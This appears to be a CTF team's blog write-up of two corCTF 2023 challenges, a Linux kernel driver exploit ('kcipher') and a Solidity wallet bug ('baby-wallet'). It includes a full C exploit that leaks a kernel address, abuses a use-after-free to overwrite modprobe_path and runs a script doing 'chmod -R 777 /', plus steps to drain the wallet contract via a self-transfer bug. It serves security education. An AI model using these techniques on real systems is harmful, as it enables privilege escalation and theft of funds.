Last weekend, I played with the Water Paddler team in the corCTF 2023. We managed to secure the first place. A huge shoutout and thanks to my awesome teammates for their fantastic teamwork during the corCTF 2023!
Below is the writeup for the kernel pwn challenge called kcipher and blockchain challenge called baby-wallet.
Pwn
kcipher
Description
lightning fast super-secure and cryptographically safe(?) ciphering in kernel space
upload a file to /tmp/exploit: ssh -t kcipher@i.be.ax connect $(cat exploit | ssh i.be.ax upload)
Initial Analysis
After unpacking the provided initramfs.cpio.gz, we noticed a driver named kcipher.ko. Let’s attempt to disassemble it first. Below are some notable functions.
The above function is the ioctl handler. When we call ioctl on the driver, it will:
Allocate a new chunk.
Open a new file descriptor called kcipher-buf, which has its own fops. The newly allocated chunk will be used as the private data of the new file descriptor.
Copy 8 bytes from the given userspace address (the ioctl third param). We will learn later that these 8 bytes are actually:
The first 4 bytes represent the cipher_mode.
The final 4 bytes represent the cipher_key.
Initially, we didn’t see any bugs in this section. However, it turns out there is a bug, which will be explained later.
This is the write handler of the kcipher-buf device. For context, we have created a helper struct called cipher_struct. This struct is the expected format of the private_data that was previously allocated during the initialization of the file via device_ioctl.
This is the read handler of the kcipher-buf device. Essentially, this function will encrypt the cipher_struct->text before returning it to us.
The do_encode function is quite straightforward. It will encrypt the text using an encryption scheme based on cipher_struct->cipher_mode. For example, mode 0 is a rot cipher, which increases our text by the given cipher_key. Mode 1 is a xor cipher, which xors our text with the given cipher_key.
Based on the above disassembly, we can identify a bug that allows us to trigger a leak.
The first bug occurs during the allocation of a chunk for text, it uses kmalloc (which doesn’t clear the content). Coupled with strncpy, we can allocate a chunk without clearing its content by passing null bytes when calling cipher_write. We can simply use rot as our encryption method. So, when we call cipher_read to retrieve the chunk contents, we can easily recover its original contents.
As for the second bug, one of our teammates (enigmatrix) informed us that there is a bug during the initialization of kcipher-buf.
Notice that if we set the cipher_mode (first 4 bytes) to a value larger than 3, the allocated chunk v5 (which is the private_data) will be freed, but the file will still be active. This means that when we interact with the kcipher-buf device, the cipher_struct of the device will be a freed chunk. Hence, there is a Use-After-Free bug here.
Solution
Now that we’ve identified the bugs, let’s proceed to the exploitation. Our first step is to obtain a leak of a kernel address, and we can use the first bug to do this.
We first spray the seq_operations object (which has a size of 0x20). The seq_operations struct contains a pointer to the kernel address. Therefore, if we somehow free this chunk and then it gets reused by cipher_write when allocating text, we can easily get the leak by exploiting the first bug. Here are the sequences:
Spray seq_operations and free them.
Open /dev/kcipher and call device_ioctl to initialize a new kcipher-buf file (we’ll call this k1). Set the cipher_mode to rot so that we can easily decrypt it.
Call cipher_write with size 0x20 and an empty string. It will reuse the freed seq_operations chunk, which contains a kernel address.
Hence, cipher_struct->text will contain a kernel address.
Call cipher_read, and we’ll get the encrypted text.
Decrypt it, and we’ll get a leak.
Now that we have the leak, it’s time to exploit the second bug. Based on the disassembly, the private_data chunk size is 0x60. Our idea is to create a 0x60 chunk with cipher_write, so that we have an overlapping chunk between text and private_data.
Here’s a short summary (detailed explanations can be found in the script comment):
After obtaining the leak, open a new kcipher-buf via device_ioctl (we’ll call this k2). However, this time, set an invalid cipher_mode, so that k2->private_data will be freed by the code.
Now, with k1, create a new text chunk with size 0x60. This chunk (k1->private_data->text) will overlap with k2->private_data.
Now that we have overlapping chunks, the goal is to carefully craft k2->private_data so that we can execute arbitrary writes via the cipher_read of the k2 file.
We also have arbitrary write because we will be able to set the private_data->text stored pointer to any address that we want.
However, due to strncpy, we can’t easily craft k2->private_data via k1->private_data->text, as there are a lot of null bytes that we need to craft a valid private_data.
My teammate (sampriti) suggested that we can easily bypass this by encrypting our payload. So, when we decrypt it with cipher_read, the payload will be converted back to the original value (which is our fake private_data). For example:
Let’s say we set the cipher_mode to rot and the cipher_key to 0x30. Then, if we want to have a payload, let’s say 0x0040, we can set our payload to 0xd010. So, when we encrypt it, the payload will be reverted back to 0x0040.
After successfully crafting k2->private_data, we can simply set modprobe_path as k2->private_data->text, then attempt to overwrite it byte by byte with cipher_read.
Below is the full script with detailed explanation.
#define _GNU_SOURCE
#include<fcntl.h>#include<stdint.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<inttypes.h>#include<sys/ioctl.h>#include<sys/msg.h>#include<sys/shm.h>#include<sys/stat.h>#include<sys/syscall.h>#include<sys/socket.h>#include<sys/types.h>#include<linux/userfaultfd.h>#include<sys/resource.h>#include<pthread.h>#include<sys/mman.h>#include<poll.h>#include<time.h>#include<unistd.h>#define modprobe_path kbase + 0x8a83a0
unsignedlongkbase;voidfatal(constchar*msg){perror(msg);exit(1);}// Helper method during debugging
voidprint_data(char*buf,size_tlen){// Try to print data
for(inti=0;i<len;i+=8){char*fmt_str;if((i/8)%2==0){fmt_str="0x%04x: 0x%016lx";printf(fmt_str,i,*(unsignedlong*)&buf[i]);}else{fmt_str=" 0x%016lx\n";printf(fmt_str,*(unsignedlong*)&buf[i]);}}puts("");}voiddecrypt_helper(char*enc,size_tlen,uintkey){for(inti=0;i<len;i++){enc[i]-=key;}}intmain(){/*
Based on observation in gdb, the inode file priv structure is like this:
typedef struct {
uint cipher_mode;
uint cipher_key;
int64_t size;
char* text;
void* spinlock;
} cipher_struct;
*/intfd=open("/dev/kcipher",O_RDWR);if(fd==-1)fatal("open(\"/dev/kcipher\")");// Spray seq_operations
intspray[50];for(inti=0;i<50;i++){spray[i]=open("/proc/self/stat",O_RDONLY|O_NOCTTY);if(spray[i]==-1)fatal("/proc/self/stat");}for(inti=0;i<50;i++){close(spray[i]);}/*
Get Leak
*/// Initialize kcipher inode device
unsignedlongcipher_key=0x30;unsignedlongcipher_mode=(cipher_key<<32)+0x0;// Set cipher_key to 0x30, cipher_mode to 0 (rot). Why do we need to rot it? It will be explained later.
intcipher_fd=ioctl(fd,0xedbeef00,&cipher_mode);printf("[+] cipher_fd = %d\n",cipher_fd);// First bug:
// Calling kmalloc doesn't clear its content. We call write(cipher_fd, buf, 0x20) to trigger kmalloc(0x20).
// Then, because the cipher_write used strncpy, the allocated chunk's content won't be overwritten with our buf,
// because buf is empty.
// So, after this write() call, the cipher_fd->priv->text will contains seq_operations struct leftover.
charbuf[0x20]={0};write(cipher_fd,buf,sizeof(buf));// Call read(), and the cipher_fd->priv->text contents will be encrypted via rot(0x30). So, we need to subtract it first
read(cipher_fd,buf,sizeof(buf));decrypt_helper(buf,sizeof(buf),cipher_key);print_data(buf,sizeof(buf));kbase=*((unsignedlong*)(buf)+1)-0x15b870;printf("[+] kbase = 0x%016lx\n",kbase);printf("[+] modprobe_path = 0x%016lx\n",modprobe_path);/*
Overwrite modprobe_path
*/// There is a UAF bug during creating the inode device. Assigning cipher_mode larger than 4 will free the cipher_fd_2->priv,
// but the inode will remain active due to the bug in device_ioctl. So, cipher_fd_2->priv is a freed chunk (UAF).
cipher_mode=0x000000005;ioctl(fd,0xedbeef00,&cipher_mode);intcipher_fd_2=5;printf("[+] cipher_fd_2 = %d\n",cipher_fd_2);// With the write, create a decrypted fake_priv with size 0x60, so that when the write trigger kmalloc(0x60),
// it will reside in the previous freed priv (cipher_fd_2->priv).
// After the write() call, technically we now have overlapping chunk, where cipher_fd->priv->text == cipher_fd_2->priv.
//
// Now, the plan is we want to make the cipher_fd_2->priv->text text pointed to the modprobe_path, then overwrite it with read().
// To do that, we can simply interact with the write(cipher_fd) to create a fake priv.
// Now, this is the reason why we set cipher_fd->priv->cipher_mode to rot and key to 0x30. The fake priv contains a lot of null bytes,
// which won't work because the write() use strncpy. So, we're going to decrypt the original payload first, so that it won't contain null bytes.
// Then, we encrypt it with read(cipher_fd), so that the fake_priv back to the original payload that we want (And with this, we can write null bytes).
//
// We're going to overwrite the first 5 bytes of modprobe_path from "/sbin" to "/tmp/".
// To do that, we're going to modify the fake_priv 5 times, by using xor with the correct key, so that the content of fake_priv->text (which is modprobe_path),
// will be changed to our chosen string via xor.
char*src="/sbin";char*target="/tmp/";unsignedlongprev_key=0x0;for(inti=5;i>=1;i--){charfake_priv_data[0x60]={0};unsignedlong*ptr=(unsignedlong*)fake_priv_data;unsignedlongcurr_key=target[i-1]^src[i-1]^prev_key;prev_key=prev_key^curr_key;*(unsignedlong*)(fake_priv_data)=(curr_key<<32)+0x1;*(unsignedlong*)(fake_priv_data+8)=i;*(unsignedlong*)(fake_priv_data+0x10)=(modprobe_path);// We need to do this because the write is using strncpy, which doesn't allow us to write null byte. So, we
// try to decrypt it first with rot, so that when it got encrypted, it goes back to our original payload.
decrypt_helper(fake_priv_data,sizeof(fake_priv_data),cipher_key);write(cipher_fd,fake_priv_data,sizeof(fake_priv_data));read(cipher_fd,fake_priv_data,sizeof(fake_priv_data));// Now that the fake private_data is ready, call read() to the cipher_fd_2.
// When we call read() to the cipher_fd_2, the text chunk is now pointed to the modprobe_path (because the priv == chipher_fd->priv->text)
read(cipher_fd_2,buf,0x60);}puts("[+] Finished overwriting modprobe_path");puts("[+] Press enter to continue...");getchar();// Create the evil script and create unrecognized binary header
system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/modprobe");system("chmod +x /tmp/modprobe");system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");system("chmod +x /tmp/pwn");system("/tmp/pwn");system("cat /root/flag.txt");puts("");getchar();}
Flag: corctf{b4s3d_0n_CVE-2022-28350}
Blockchain
baby-wallet
Description
I wrote my first Solidity smart contract!
nc be.ax 30444
Initial Analysis
We were given two smart contracts called Setup.sol and BabyWallet.sol.
Based on the source code, the initial setup for the challenge is that the wallet will be filled with 100 ether. Our goal for this challenge is to drain the wallet balance to 0.
pragma solidity^0.8.17;contractBabyWallet{mapping(address=>uint256)publicbalances;mapping(address=>mapping(address=>uint256))publicallowances;functiondeposit()publicpayable{balances[msg.sender]+=msg.value;}functionwithdraw(uint256amt)public{require(balances[msg.sender]>=amt,"You can't withdraw that much");balances[msg.sender]-=amt;(boolsuccess,)=msg.sender.call{value:amt}("");require(success,"Failed to withdraw that amount");}functionapprove(addressrecipient,uint256amt)public{allowances[msg.sender][recipient]+=amt;}functiontransfer(addressrecipient,uint256amt)public{require(balances[msg.sender]>=amt,"You can't transfer that much");balances[msg.sender]-=amt;balances[recipient]+=amt;}functiontransferFrom(addressfrom,addressto,uint256amt)public{uint256allowedAmt=allowances[from][msg.sender];uint256fromBalance=balances[from];uint256toBalance=balances[to];require(fromBalance>=amt,"You can't transfer that much");require(allowedAmt>=amt,"You don't have approval for that amount");balances[from]=fromBalance-amt;balances[to]=toBalance+amt;allowances[from][msg.sender]=allowedAmt-amt;}fallback()externalpayable{}receive()externalpayable{}}
Looking through the above wallet source code, we observed that there’s a bug in the transferFrom method. If we transfer to our own address (which is allowed), our balance will increase by the amount that we pass to the method. This is because, when calculating balances[to], it uses the initial balance instead of the updated balance.
Now that we’re aware of the bug, we can start crafting our attack.
Solution
Based on the bug we discovered earlier, we need to perform the following sequence to drain the wallet’s ethers:
Deposit 100 ether.
Approve 100 ether for our own address.
Transfer 100 ether to our own address using transferFrom.
Due to the bug, our final balance will be 200 ether.
Withdraw 200 ether.
At this point, the wallet is drained.
We can use cast command-line (installed by foundry) to perform the above steps.